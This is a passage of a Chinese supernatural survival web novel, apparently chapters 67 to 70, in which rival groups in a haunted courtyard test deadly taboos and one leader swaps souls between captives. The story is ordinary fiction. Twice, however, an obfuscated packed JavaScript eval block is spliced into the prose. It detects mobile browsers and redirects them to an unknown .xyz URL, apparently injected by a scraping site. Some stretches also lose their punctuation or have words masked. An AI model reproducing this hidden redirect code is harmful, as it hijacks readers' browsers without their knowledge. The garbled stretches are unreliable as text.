昨日可爱的景色,现在看起来颇有些居心叵测的惊悚感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705298|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。柿子树上沾满血迹,昨天它还硕果累累充满野趣,今天只能称得上“恐怖”二字。 那个红衣青年——好像叫方休——正倚在树下,若有所思地看着地上的血迹。他随意地靠着树干,姿态对于**来说足够问心无愧,对于无辜者来说又太过无动于衷。 此人穿着红衣往那里一站,满树柿子似乎也跟着成了血色。 吕扬在室内偷看不超过三秒,就被方休发现了。他转过视线,冲吕扬露出一个微笑。吕扬吓得退后两步,又缩回客厅角落。 树下。 方休捡了根树杈,随便在地上划拉。 白双影眼看着方休涂画蚯蚓,更加觉得不对劲。 眼下成松云、关鹤和黄毛结伴外出觅食,梅岚守在厢房内。作为队伍首领,方休似乎打定主意要偷懒。 他玩泥巴玩了整整一炷香! 白双影希望方休在这多停留一会儿,可方休这种奇异的行为总让他不太踏实。尽管没有心跳,白双影还是无师自通了“一颗心七上八下”的感受。 “你在画什么?”白双影俯视那幅《万蚓蠕动图》。 “画你呀。”方休严肃地表示,“不像吗?” 白双影穷尽毕生所学分析良久,尽量礼貌地询问:“人形还是本体?” 方休:“……” 方休萎靡:“你就当是本体吧。” 他难过地搓平泥地,又开始画脸上只有一个点的团状物。 白双影看不下去,他抽出桃骨煞,当着方休的面画起了方休。 白双影的笔锋干净利落,颇有些写意的味道。白色轻烟凝固在空气里,变为水墨般的线条。一阵勾画下来,画上的人一看就是方休,气质精准到有点吓人。 图画里的方休没有刘海遮眼,而是露出一双眼睛,眼角和嘴边都噙着微笑,笑容狡黠可爱。 方休端详了好一会儿:“我在你心里是这样的?” 白双影点头,点到一半又僵住了。 他觉得自己画的方休少了些东西,可他不确定其中少了什么。也许等他彻底了解方休,他才能画出“正确”的图画。 “目前是这样。”白双影公正地总结道。 方休嘴角越翘越高,罕见地冒出了一丝傻气。他抿了几下嘴唇,没能压住这个傻笑,只能狠 狠拍了拍脸。 白双影趁虚而入:“你似乎很悠闲。” “这里环境好趁机放个假嘛。”方休站在那摊新鲜血渍上说。 听他的语气活像今早院子里的不是三具尸体而是三片落叶。 发现方休喜欢这个窝白双影整个人明亮了几分。 他压制住胜利的满足不太熟练地煽风点火:“唔那个姜寻十分积极万一他先一步找到‘厄’你会失掉解厄奖励。” 来回答我。 只要方休展示出一丝对于姜寻的警惕他就可以理直气壮地给姜寻使绊子不着痕迹地坑死那个人类。这样就算方休发现也没理由疏远自己。 方休意味深长地瞧了白双影一眼:“放心我会亲手除掉他。能干出拿人命试禁忌这种事他的生魂一定不错。” 不知道是有意还是无意方休特地加重了“亲手”的发音。 白双影:“……”好吧方休又开始展示他对于“亲手战斗”的执着了。 他针对姜寻倒不是因为想吃这个人类在杀戮方面怎么比他还积极? “还有告诉你一个秘密。” 方休贴近白双影的耳朵小声嘀咕道“这次祭祀太有意思啦我打算玩一个更刺激的游戏。” 白双影歪过头把耳朵往方休脸上凑:“?” 方休煞有介事道:“说多了就不好玩了今天先告诉你这些。” 白双影固执地维持倾听姿势然而方休没有继续 这个人类的动作太快皮肤又太软。白双影没来得及分辨蹭过来的是面颊还是嘴唇。 只不过等他转过脸的时候方休佯装无事面皮却有点像树上的熟红柿子。 白双影观察数十秒桃骨煞一挥一个熟透的柿子掉入他的手中。 柿子熟得正好薄皮包着一汪软软的蜜浆。白双影的力道恰到好处它的皮没有蹭破分毫。 白双影拎着柿子贴在方休脸边比了比随后往方休嘴边一递顺理成章地投喂他的人类。 方休嘬完柿子脸色变得正常了一点儿。他舔舔嘴角的蜜汁:“既然你重金贿赂我那我不得不坦白了。” 白双影:“!” 方休再次贴过来一字一句带着笑意。 “接下来我打算和祭品们对着干。”他轻声说道“这次祭祀我打算保护‘厄’。” …… 树林之中。 院落外的土地铺满落叶踩起来沙沙作响。 成松云从院子里翻出个背篓用它收集了不少栗子和蘑菇。她耐心地挑选着食物甚至盘算着回去晒些干货方便保存。 如果忘掉之前院 子里的血腥一幕,面前的景色堪称完美。不过经历了这么多,成松云已经不再为生死之事心焦——既然方休不着急,这里不会太危险。 黄毛铁了心逮兔子吃,早就跑得没影了。关鹤却亦步亦趋地跟着成松云,甚至蒙上了黑眼纱。 这孩子比平日沉默许多,他不停东张西望,貌似在戒备。 “现在是白天,没那么危险,方休肯定考虑过安全问题。”成松云安慰道。 关鹤到底年纪小,可能还在介意早上那血腥一幕,可以理解。 结果关鹤只是摇摇头,继续集中观察。 终于,在成松云的背篓快装满的时候,关鹤找到了他的目标—— 一只藏在树洞阴影里的邪祟。 它伸出一只青紫干瘦的鬼手,想去抓成松云的脚腕。结果它脚腕没抓住,反倒抓住了关鹤的手。 关鹤双脚蹬着树干,脸憋得通红。几分钟的拉锯战后,伴随着“啵”的一声,那坨邪祟被关鹤硬生生拔了出来。 那东西上身犹如枯尸,下身扭曲盘旋,像是从螺壳里抽出来的螺肉尾巴,散发出可怖的腥臭。关鹤身体震颤两下,貌似想要干呕,又强行忍住了。 他从成松云的背篓里扯出绑蘑菇的麻绳,把邪祟死死捆在一棵树上。随即他往地上一倒,呼呼喘了好一会儿。 成松云收了怨鬼盾:“小关,你这是?” “我,咳咳,我觉得,既然这次祭祀轻松,正好练习练习。” 关鹤抹了一把汗,语气很坚定,“早上那些人,比刚进祭祀的我强多了……我活到现在,全凭方哥关照。” “之前三次祭祀,我都没帮上什么忙,我不想拖后腿。” 关鹤心里清楚,理论上他确实可以当斥候,只是有擅于隐藏的方休在,他这个“斥候”用处约等于零。而到了真正战斗的时候,他基本派不上用场。 关鹤一直都有练习战斗的想法。可是在危险的祭祀里,他擅自对付邪祟,约等于作死添麻烦,试错成本高得离谱。 这次祭祀是个绝好的磨炼机会——邪祟强到能伤人,却又弱到方休放心让他们出来。 想到关鹤的年纪,成松云下意识想反驳。但她张了张嘴,最终还是咽下了阻止的意图。 几秒后,她问:“你打算怎么做?” “我的能力是‘穿墙’。” 关鹤有点紧张地搓搓活动手指,“如果我能控制好能力,把对手的攻击当成活动的‘墙’,就可以无伤防御。” 他一边说,一边观察那只奋力挣动的邪祟。 这东西形貌可怖、嘶吼不止,放在第一场祭祀,它足够把他吓晕。现在关鹤看着它,却只想着找到这东西的脆弱之处,好把它迅速击倒。 关鹤自问头脑比不上方休,人生经验比不上成松云。但他确实有只属于他的才能——他非常年轻,他有着队伍里最快的反应速度。 如果他能把想象中的“无伤防御”付诸现实,不仅可以腾出怨鬼盾的保护位置,只要时机合适,他还能自主发动奇袭。 成松云安静许久,叹了口气。 也许自己还是过于异想天开,关鹤肩膀耷拉下去,准备挨训。结果他没等到说教,却见成松云放下背篓,走到他身边。 “挺好的想法,我帮你守着。”她的语气平稳坚定。 “练习吧,孩子。” 第 68 章 家庭痕迹 第68章家庭痕迹 【双向奔赴。】 一整个上午,白双影寸步不离地跟着方休。 方休所做的事情与其说是调查不如说是休闲加参观。他玩够了泥土画又开始观察柿子树的树皮。 “这些痕迹是在记录小孩身高。” “同一个水平线划了这么多,这里应该有过不少小孩。不过看密集程度,孩子们不常在这里。”方休摸着树干上不怎么明显的划痕小声解说给白双影。 “以前我们也总在过年过节回乡,这家的情况大概差不多吧。” 白双影点点头。 他确实记得这个习俗就算沧海桑田朝代更迭人类总喜欢在节日**。罕见方休提起自己的过去,白双影听得十分认真。 方休观察完了柿子树按部就班地顺着墙根看。他先走去空置的那一侧厢房,却没有理会空房内的尸体,只是查看上了年头的外墙。 果然,没走几步路他们又发现了一点点过去的踪影。 有个孩子在一片砖墙上刻下了“全家福”一群火柴人张牙舞爪,笔画被时光侵蚀得模糊不清。 除了火柴人,里面甚至画了几只横在地上的四条腿生物,不知道是猫还是狗。 稍高的地方刻着歪歪斜斜的古诗词。稍微复杂的字由拼音代替,但大部分都已经剥落了,只剩开头的“独在异乡”和下一句的“每féng”两部分。 至于剩下的划痕,大概是些井字壳的小乌龟或者意味不明的人脸。 方休蹲下身,指尖轻轻滑过那些凹凸不平的痕迹。 “我也干过这种事。” 他笑着说,“我还弄个盒子把压岁钱藏在盒子里埋在奶奶家的院子里专门画了藏宝图。” “我爸不小心把藏宝图弄丢了,我冲他哭了好久。后来爸妈自己埋了个装钱的盒子 白双影安静地倾听。 “……结果我奶奶偷偷翻了我埋东西的整片地找回了我的‘宝箱’又悄悄塞给我。她说正好多买点零食要对我爸妈保密。她把盒子给我的时候手上全是泥土都没来得及洗。” “这事偏偏给我堂弟撞见了我专门买糖封他的口。” 方休的脸上带着浅浅的笑意。 “原来你还有堂弟。”白双影说。 他记得方休专门强调过“爸爸妈妈爷爷奶奶外公外婆都没了”这件事他以为方休举目无亲来着。 方休:“有啊很聪明的小孩他们一家都是很好的人……可惜旅游的时候遇见地震一家人都没了。我爷爷受不了打击跟着走了。” 他叹了口气,站起身来,拍了拍身上的土。 “在那之后,我们再也没有正儿八经过过年。” 看着面前漂亮的院落,方休能清晰记起奶奶的院子。 彼时过年,总少不了隆重的气氛。 白天院子里一定会放上不少鞭炮,积雪上堆出无数红色纸屑。远房亲戚来回走动,他们这些小孩跟着乱跑,四处招猫逗狗。 到了晚上,一部分大人会陪他和堂弟到院子里放烟花,另一部分在屋里准备丰盛晚餐。孩子尖叫,大人闲聊,节目声和笑声混在一起,一切都是亮堂堂的。 随着堂弟一家和爷爷离世,过节的人少了整整一半。 没人再去准备鞭炮和春联,大家最多在饭食上下下功夫。院子里的小孩只剩下自己一个,方休为此难过了很久。 现在想来,那是他此生漫长失去的开始。 方休不由地又看向白双影,发现白双影仍然专注地看着自己,一副严肃钻研的表情。 “呃,我没发现惊天线索,只是觉得这里很像老家院子。” 白双影:“我不关心线索,只是在好奇你的事。” 方休的家庭听起来意外正常,白双影心想。他了解方休越多,反而更加不理解这个人。 听到这话,方休眉眼柔和下来:“好奇我的事啊,那我得多多保留神秘感。” 白双影:“……!” 为什么?人类真的很难懂。 方休笑意深了几分,顺手用树枝划拉院子角落的杂物。这堆灰扑扑的东西紧挨着新人住的西客房,看着相当可疑。 结果杂草和浮尘扒开,方休只在里面找到半块干肥皂,一只破破烂烂的拖鞋,还有一个变形的老式塑胶玩具。 那玩具是把艳绿色的水枪,一点灵异元素都沾不上。 夜晚探头撅腚的邪祟群无影无踪,院子里的事物正常到不能再正常。如果一定要说特异之处,他扒拉那些杂物时,身边又腾起一阵微风。 它温温凉凉,很快便散去了。 在院子里折腾完一圈,方休有点失望地丢下树枝,又去手摇水泵处洗手。 尽管死在这里的尸体被移走,出水口处仍然残余着鲜血与脑浆。 方休怀抱着小小的希望,边打水边清洗出水口——要是昨天的鬼粮能被他再打出来,那就太好了。 然而他把出水口洗得锃光瓦亮,也不见发丝鬼再从出水口冒出。也不知道那只邪祟是吓得不敢出来,还是单纯消失不见。 方休打水打得筋疲力尽,只能借清水洗了把脸。 “今天中午吃什么呢?”他咕哝道。 ……今天中午吃榛蘑炖烧鸡,烤兔肉和蒜泥蒸野菜。 成松云捡了一大堆榛 蘑回来黄毛也抓住了两只肥兔子。关鹤……关鹤满身是汗左臂上多了几道可疑的伤口好在看起来不算严重。 成松云手脚利落很快张罗出一桌子热菜。大家拿酥皮点心当主食边吃边交换情报。 梅岚率先开口:“白天房间里没有异常我所有角落都看过了。” 关鹤顺口接上:“树林子里有邪祟但数量好像不多。它们躲在暗处只有少数会主动袭击人。” 成松云的关注点则在别处:“附近能吃的东西非常多有块野地还种了点红薯。我没找到破坏痕迹就都挺平常的。” “小杜杀了兔子见了血我尝了院子里留下的调料和干货小关动手打了邪祟没人犯忌。倒是……” 方休:“倒是?” “有个新人弄了木柴在外头放火。结果那火苗一个劲儿往他身上贴差点把他头发点着。我也不知道这算不算犯忌看着挺不对劲。” 成松云十分严谨地总结道。 黄毛猛往饭碗里夹菜 说到这他贼兮兮地笑了两声“等外头那群家伙死完了咱还能重新分房间隐私再一跟上到时候爽的嘞。” 方休瞥了他一眼:“不要主动攻击其他队伍。” 黄毛:“啧。” 关鹤用筷子尖戳着榛蘑:“方哥你是不是看出了这里的问题?” “唔?说说看。”方休放下汤碗鼓励道。 “这里的犯忌惩罚和邪祟作祟混在一起了很难区分所以只能慢慢来。不然一旦判断错误思路就会被带歪。” “差不多。总之大家不用着急有的是时间。”方休笑起来。 “嗯!” …… 正房。 三位新人加一个姜寻四个人继续分食兔肉和柿子。阿桥从外头带了栗子回来大家勉强能吃个饱饭。 不过阿桥在烤栗子的时候遇到了怪事手臂被烧伤一大片。他吓得立马灭了火只烤熟了一小半栗子。 “大师我该不会犯忌了吧?”阿桥嘴唇发白。 “犯忌表现和邪祟作祟混在一起了无需惊慌。”姜寻给阿桥包扎好烧伤轻描淡写道。 卢苇一脸慎重地开口:“大师我们接下来怎么办?” “比起急着寻求出路先理清身边状况为好。” 姜寻停顿片刻用导师般的口吻说道“目前看来邪祟昼伏夜出专门在夜晚前来作祟。它们想把我们逼出房间再**取食。” 吕扬回忆片刻发现确实如此。 房子里的邪祟只是 用尽手段吓人,没有真正伤到他们。除了唇钉男这个“人为被害的特例,其他人都是离开房间才死的。 “为、为什么要逼我们离开房间,房间里有什么吗? 吕扬有点紧张地开口问,“难道那个‘厄’在房间里,它们想把大家赶出去? 姜寻摇头:“厄要是在房间里,房间里的邪祟应当最疯狂。这里的邪祟更像被什么压制住了,不敢太放肆。 三个新人屏气凝神听着。 姜寻慢条斯理吃了个柿子,总结:“那对情侣跑得最远,被吃得尸骨无存。三个人死在院子里,只是生魂没了,肉身还在。 “你们藏在屋子里,除了吓破胆,并未受到任何伤害。 卢苇悟了:“屋子里有辟邪的宝物! “不,屋子里有更大的邪祟。 姜寻冷笑,“你们不好奇白天邪祟们去了哪儿么?它们入侵了强者的地盘,一旦离得太近,会被强者吞吃殆尽。 三人噤若寒蝉,一时连饭食都不敢往下咽。 吕扬不禁回忆起了动物世界。那些邪祟就像从猛兽嘴边抢肉的小动物,一个不留神,自己也会变成猛兽的晚餐。 尽管如此,它们还是无所畏惧地上前抢食,主打一个鬼海战术,只求死道友不死贫道。 “通常来说,我们管这种邪祟叫做‘主人’。大邪祟们各有各的怪癖,但论保护厄,它们最为拼命。姜寻淡淡道。 吕扬小心翼翼:“可它只吃邪祟,没有攻击我们,这不挺好的么? 卢苇恨铁不成钢:“你**吗?只要咱们在这, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705299|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些小鬼就会被一批批引过来受死。我要是这里的主人,我也乐得留下人类钓鱼。 “等咱们快找到厄,它再把咱们吃了,一点都不浪费。阿桥应声。 姜寻:“所以要趁这里的主人没有防备,尽快解厄。过程可能有些危险,大家要有心理准备。 阿桥和卢苇严肃地点点头,吕扬默不作声地缩了会儿,才跟着小幅度晃晃脑袋。 姜寻露出一个若有若无的笑:“放心,如今咱们和另一边人数相当,我不会蠢到牺牲你们去测试,让对面摘桃子。 “今天下午,我们抓对面的人过来试禁忌。 “那个妞吧,我看他们基地留了个妞。女人都心软,我去搞定她。阿桥兴致勃勃地建议道。 卢苇:“差不多得了,人家都把她留下了,肯定有防备。我觉得不如抓那个小孩,容易控制。 吕扬:“可是人家还没跟咱们翻脸,这样一来不就彻底撕破脸了吗? 姜寻的“大邪祟镇住小邪祟的理论,他没有找到明显漏洞。快速解厄听起来也靠谱,可是拿活 人——尤其指名女人小孩——当试验品,吕扬还是有点不舒服。 而他的两个同伴竟然瞬间接受,并且兴致勃勃地讨论起来,他背心一片发凉。 姜寻瞧了他两眼,声音又冷又软:“你是不觉得‘控制你的同伴测试死忌’算‘翻脸’,还是不相信我?” “大师别在意,这小子之前就喜欢唧唧歪歪,拎不清正事。” 阿桥连忙找补,又瞪了吕扬一眼,“这不敢干那不敢干,自己屁用没有,你还是不是男人?” 吕扬:“我只是觉得攻击女人小孩有点……” 姜寻打断道:“行了,没必要闹不愉快,既然你看不惯,我们抓对面最强的。” “那个黄头发的年轻人喜欢独自行动,抓他。” 卢苇面皮抽了抽,跟着猛瞪吕扬:“事情又麻烦了,你爽了吧?” “某人圣母得很,赔了五个队友还搁这心软呢。”阿桥也翻了个白眼。 吕扬悻悻闭上嘴。姜寻这么一让步,他反而不好再开口。 其实姜寻不在的时候,他们三个悄悄碰过头。 说是三人小心谨慎,不如说吕扬太过优柔寡断,不够相信姜寻。 卢苇发动了支援技能“危险品鉴定”,探视姜寻给他们的护身符。他的技能虽然做不到详细解析,看个“危险与否”还是能做到的。 事实证明,这些护身符上没有恶意,它们确实能够驱邪避祸。 至此,阿桥和卢苇对姜寻深信不疑。 “我都说了,人家自己队内互相照顾,关你个外人啥事?人家凭什么不会利用你?” “就算咱们加入那边,你觉得他们会用自己人试禁忌,抓姜大师这个高手试禁忌,还是骗我们试禁忌?” “你不是说他们心善吗?要真是姜大师引那对狗男女试禁忌,他们会任由你待在姜大师这个‘**凶手’身边?他们怎么不救人啊?” 两个同伴的话还在吕扬耳边嗡嗡作响。 就像去年抛弃病人、分食队友之后,这些人满口不得不这么做的“合理解释”。 吕扬不知道自己是真的在质疑现实,还是单纯反感那些嗡嗡声。 吕扬垂下眼,看着手中吃了一半的兔肉。 记忆深处,烧熟的人类肢体浮出脑海。吕扬一阵反胃,彻底没了胃口。 姜寻安静平和地吃完了饭,见三个新人不再吭声,他露出一个微笑。 “那就这么定了,讨论计划吧。” …… 午后,又到了探索时间。五人商量一番,准备执行原计划。 方休:“那么还是我和梅岚守在院子里,你们三个出去。不过我话说在前头,今天下午,大家要尤其注意两点——” “第一,太阳落山前绝对要回屋子。” “第二,绝对不要分头行动。尤其是你杜志超,兔子已经抓够了,你别再一个人到处乱跑。” 黄毛转了转眼睛,半天才嘿嘿笑了两声:“那当然。” “我不是跟你开玩笑。”方休眉头动了动。 黄毛摆摆手:“知道了知道了,我不单独行动。” ……才怪,黄毛心想。 方休不想尽快解厄,这态度挺合他心意。可惜方休心太软,只知道见招拆招。他可不想放任其他队伍自由解厄,怎么也得去添点乱子。 在院子外面坑死几个外人,方休总管不着吧? 反正就算被发现,他也可以说是为队伍出力,争取解厄奖励。 黄毛吹了几声口哨,瞧向外头灿烂的秋景。 欢喜厄那次没休息爽。这一回,他绝对要在这里多休几天假! 第 69 章 换魂之术 第69章换魂之术 【二试禁忌。】 吕扬紧张得要死。 姜寻本人和卢苇一起去树林里抓黄毛,吕扬则和阿桥一起守着正房。 阿桥的支援能力是“迷烟”可以用香烟般呛人的烟雾隐藏自己、扰乱敌人。为了增加战力吕扬特地放出了那具吊死尸体,作为保镖守着。 他还往尸体的脸上贴了辟邪黄符,确保它不会被邪祟控制。 可惜黄符挡得住邪祟挡不住大自然的必然进程。 尸体散发出隐隐的异味,渐渐浮起尸斑。黄符僵尸静静站在客厅桌椅前配上老房子里的腐朽景象吕扬简直不敢往尸体的方向看。 至于他们这样严阵以待的原因—— 对面的红衣领袖——方休死活不出院子,没事就在院子里溜达来溜达去。他在他们眼皮子底下查探院落情况姿态和在自家散步似的。 这哪里像个祭品,游荡的野外BOSS还差不多! 下午姜寻一走,这BOSS转了几圈,又冲正房的方向来了。阿桥抓起铁炉钩防身吕扬则退到尸体旁边如临大敌地僵着。 方休相当有礼貌地敲了敲门,自然没人应他。 然后他们就见一缕长发从门缝里探进来,堂而皇之把门栓扯开,又呲溜一下收了回去。 透过门上的玻璃,只见方休朝身边的空气说着话,笑得温温柔柔。 吕扬呼吸一滞。 如果没有那缕突然出现的长发,他只会觉得这场景不该出现在这里应该出现在精神病院。 问题是刚才哪来的长发啊!……这人身边难道跟着女鬼?连姜寻都没发现? 阿桥收了收铁炉钩,很响亮地咽了口唾沫。 撬开房门后,方休大大咧咧进了门。 他无所谓地路过两人往木桌上放了两罐旺○:“打扰了不好意思,这是赔罪的礼物。” 阿桥、吕扬:“……” 我们不是敌人吗您能不能有点敌人的自觉?以及这里为什么会有旺○? 方休这个轻车熟路的态度他们一时竟不知道要不要攻击。 方休语气恳切:“外面我看得差不多了还剩个正房没调查。你们要是不放心可以全程监督我。” 吕扬:“呃……” 想到姜寻正在外面抓黄毛他一阵心虚。 阿桥给吕扬使了个眼色舔了舔嘴唇:“可以您慢慢看。” 姜寻当然考虑过方休上门的可能性。 按照姜大师的说法方休此人偏理性派不会毫无意义地**。祭祀才到第二天方休要么努力把新人拉拢回来要么就引诱他们测试禁忌 。 他们身上的黄符是最好的示警物品。 要是方休敢在他们身边施放法术,黄符立刻自燃,姜寻会第一时间得知情况。要是黄符安然无恙,他们见机行事,保存实力就好。 吕扬想象过很多可能性,唯独没想过,方休会这么客气。 他甚至当着他们的面转过身,仔细查看碗橱和电视柜,后心就这么大敞着。 阿桥恶向胆边生,一炉钩往方休后脑砸去。然后……然后炉钩凝固在半空中,不知道被什么卡住了。 在两人惊骇的注视下,炉钩橡皮泥一样被搓成团,嘭地一声砸在地上。 方休仿佛没听见,他正在热切观赏一把炸了**的牙刷。 牙刷支在牙缸里,孤零零放在水盆边。牙膏还是硬皮金属包装,从尾部卷成蜗牛似的卷。 阿桥萎靡几秒,又开始朝吕扬使眼色,目光在僵尸和方休之间来回转,鼓励他来个玄学偷袭。 吕扬疯狂摇头,连连摆手。他甚至退后几步,差点被一个小木凳绊倒,凳子脚发出巨大的摩擦声。 方休继续没听见,转而查看地上的不锈钢小盆。 小盆蒙了一层灰,边缘坑坑洼洼,有些微的变形。它倒在碗橱下的阴影之中,方休第一眼差点没看见。 吕扬困惑地瞧着方休。 方休看起来和姜寻完全相反,他没有神秘兮兮地占卜掐诀,也没有摆出什么高深姿态……他这边翻翻客厅墙上的挂历,那边看看卧室墙上的照片,就像租户审视备选出租屋。 他发现方休很瘦,看起来没有太大威胁。哪怕是天天标榜文艺风格的阿桥,胳膊都比方休粗两圈。 可方休又有种莫名其妙的自信,像是笃定他们拿他没办法,颇为放松地晃来晃去。 他不劝说,不解释,只是悠闲地勘察。 姜寻之前的安全告诫,提前准备好的对抗话术,此刻通通没了用武之地。吕扬有点尴尬地站在原地,目光跟着方休走,他有种等待另一只靴子落地的折磨感。 这种礼貌简直是酷刑,方休还不如直接攻击他们! ……白双影难得共情了人类。 方休姿态太轻松,他甚至看不出这个人是在糊弄新手,还是真的在探查什么。 他的人类精明到无法理解,方休简直无时无刻不在演戏。尽管白双影让这里的主人远离方休,可是他始终没法彻底安心。 着急归着急,若说亲自插手强行阻碍,白双影又不愿意。 事到如今,他有种模糊的预感。一旦他那么做,就算方休容忍他的背叛,他也会永远失去了解方休的机会。 于是他只能持续不停地观察。 他最近凝视方休的次数,比之前任何一场 祭祀都多。 最神奇的是一百次里有九十九次他会被方休逮个正着。 他的人类会回给他狡黠而满足的笑容——有时狡黠多点有时满足多点有时还会附加一个拥抱。 虽然方休注视他的时间也变多了这种被动感还是让白双影颇为不满。 一不满他就想要捋捋他的人类。 白双影想到做到他伸出指尖顺着方休热乎乎的后颈滑了滑。后者稍稍打了个激灵缩起脖子。 “那个姜寻不在这里兴许会对其他人下手。”白双影套了个声音隐藏试图分析。 “我知道他们八成要抓黄毛试禁忌。” 方休无所谓地应道“如果黄毛还有那么一点儿团队意识他就不会出事。要是真出了事……这次祭祀不算危险他不至于连累整个队伍。” 言下之意就是让黄毛听天由命了。 “你如何知道?”白双影是真好奇了 “白双影你知道怎么说谎最可信吗?”方休安静了会儿答非所问道。 “不知。” 方休:“在大量真诚之中添加一点点谎言这种谎话最难防备。” 白双影微微皱眉他移到方休面前探脸瞧他:“所以?” 方休摸摸他的发丝耐心说明: “如果姜寻是个没头脑的纯恶人他会直接诱骗新人试禁忌。我观察了一上午姜寻没有这么做的迹象。” “他的举措要更聪明——暗中使计让新人试死忌减少新人数量将幸存者收为手下后再真诚对待他们。只要把我们定义成‘敌人’新人必定对他死心塌地不会轻易倒戈。” 白双影无言。 怪不得方休没有试着说服新人。此时此刻现在新人们切实得到了姜寻“真诚”的庇护方休很难拿出更好的条件。 姜寻**人心的手法着实不错但某种意义上看穿他的方休更加可怕。 “手下有了人手正好抓‘敌人’试禁忌。我在院子里守着梅岚难以下手。成松云精通防御又时刻守着关鹤最容易抓的反而是黄毛。” 方休打开置物柜的一层边翻动边解释“至于黄毛我已经警告过他了。” 白双影:“我想他不会听。” 在他看来黄毛和方休简直不是一个物种。 方休头也不抬:“那他会帮姜寻测出禁忌也会帮我们测出姜寻的手段。” 他的语气里没有痛惜或遗憾平静得像冬日冻湖却不怎么像正常人类。 “为了剩余的同伴?”白双影凑近了些。 “不。” 方休关上置物柜抽屉荡起一片 烟尘他的声音比那层薄烟还要轻。 “……因为我得继续前进不能死在这里。” 说这话时他收回了注视白双影的视线。 …… 和院落内的和平相比院落外热闹得多。 成松云不厌其烦地探查周遭又收获了一大堆食物。这次她打了些熟透的枣子又挖了点红薯。等她装满了背篓就在关鹤身边休息守着关鹤练习“无伤防御”。 上午奋斗几个小时关鹤似乎抓到一点儿诀窍。他有样学样地效仿方休折腾完那只邪祟后就地喂给了小儿鬼。 眼下他又抓了一只邪祟等练习结束正好再喂给成松云的怨鬼。 “现在我还抓不牢再熟练点我能抓几只回去给方哥。” 关鹤活动手腕双目灼灼地盯着邪祟。 黄毛觉得无聊至极。 方休明显罩着关鹤关鹤乖乖当个挂件就好。未成年这个招牌就是牛逼他巴不得 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黄毛在树林上空蹦了两圈很快发现了自己的目标——姜寻拉着卢苇两人在树林中乱走不知道在搞什么鬼。 卢苇双手被紧紧绑在身后口部被布条勒紧仿佛戴了嚼子。他的脖子上多了个贴满黄符的项圈末端锁链牵在姜寻手里。 玩好大。黄毛憋住了吹口哨的冲动。 他决定来个漂亮的偷袭扭断姜寻的脖子。没了姜寻这个领头羊剩下的三个新人不足为惧 。 黄毛想到做到。趁两人还没发现他,他选了个刁钻的角度,后脚在树干上一蹬,炮弹似的弹向姜寻。 然而他刚冲到姜寻五步之内,伴随着噼里啪啦的通电声,黄毛四肢一麻,噗地摔落在地,活像撞上电蚊灯的蚊子。 “单人双影,厉鬼附身,当我不认得?” 姜寻悠然道,一脚踩上黄毛的后脑,“居然以鬼术袭击道士,真真蠢货一个。我正要去找你,没想到你自己送上门。” 黄毛暗叫不好,拼命想要挣脱,四肢却用不上分毫力气。他刚要张嘴呼救,忽然脑后一凉,视野旋转成一片浆糊。 再清醒时,他突然发现口中一阵拉扯剧痛,双手被紧紧束缚在背后,脖子上……咦,这个情况怎么有点熟悉? 逐渐清晰的视野里,他看见“自己”东倒西歪地站起身,拼命晃头。 “太厉害了,这就是‘换魂之术’?”“黄毛”打量着自己的双手,口中连连惊叹。 姜寻:“是。” “黄毛”还在拍打自己的身体:“不戴眼镜还真不习惯,好神奇……大师,这身体触觉很正常,这要是犯了忌,我也会痛吧?” 他一边说,一边偷偷拿眼瞥姜寻。 姜寻平心静气道:“的确如此。” “不过死忌已定,其他禁忌风险不高。要是这身体废了,你回归原身就好。至于你遭的罪,我会给你额外的符咒补偿。” “哎哟,谢谢大师!” 黄毛终于回过味来。他中了邪术,和那个四眼交换了身体! 而且他的伥鬼没跟过来,他用不了伥鬼之力。如今他被绑成粽子,根本没法自己挣开! 完了完了完了,接下来怎么办?黄毛晃着一片浆糊的大脑,费力思考。 对了,方休。他们还有方休,方休肯定能察觉不对。 想到这里,他又安下几分心,放弃拼死挣扎的念头。反正他脑子不好使,他就不冒这个险了。 他是队里唯一的进攻人员,方休肯定会救他! 如此想着,黄毛被姜寻一路拖回小院。他透过脏兮兮的眼镜,疯狂扫视四周。该死,眼下方休不在院子,不知去了哪里。 黄毛还没来得及进一步观察,就见“自己”举了根火炬,大剌剌走向空厢房那一侧。 **,等等,该不会…… 卢苇手一扬,将火炬扔向柴火储存间。 火焰点燃木柴的一瞬,“黄毛”唰地消失在了原地,什么都没有剩下。 黄毛眼睁睁看着自己的身体消失,发出一声被堵住的嚎叫。 同一时间,院外也传来一声惊惧的叫喊。 “大师救命!”卢苇大叫,“我被扔出来了,我进不去院子了大师!” “我要回我的身体!” 第 70 章 奇特同盟 第70章奇特同盟 【凉风鼻头。】 “嚯。”方休在隐藏中惊叹。 他选了视野最好的角落,爽快地目睹全程,甚至还有心情往嘴里丢一颗糖果。那边“黄毛”大声叫嚷,这边糖果被咬得咯咯作响。 “换魂之术。”白双影掏出两片邪祟耳朵,和方休一起边吃边看。 “这都行?” 白双影:“若是真正的肉身,换魂确实有些难度。但祭品的肉身只是容器,没有三魂七魄的牵扯,这种术法不算高明。” 方休思考:“我想想,从真身取魂等于‘榨出果汁’。而这种换魂,约等于果汁从瓶子倒进杯子?” “……是。”白双影瞧了眼方休牌果汁。 方休若有所思地掏出一个罐头,抿了几口果汁糖水。补充完自己的果汁储备,方休继续全神贯注地瞧向院门。 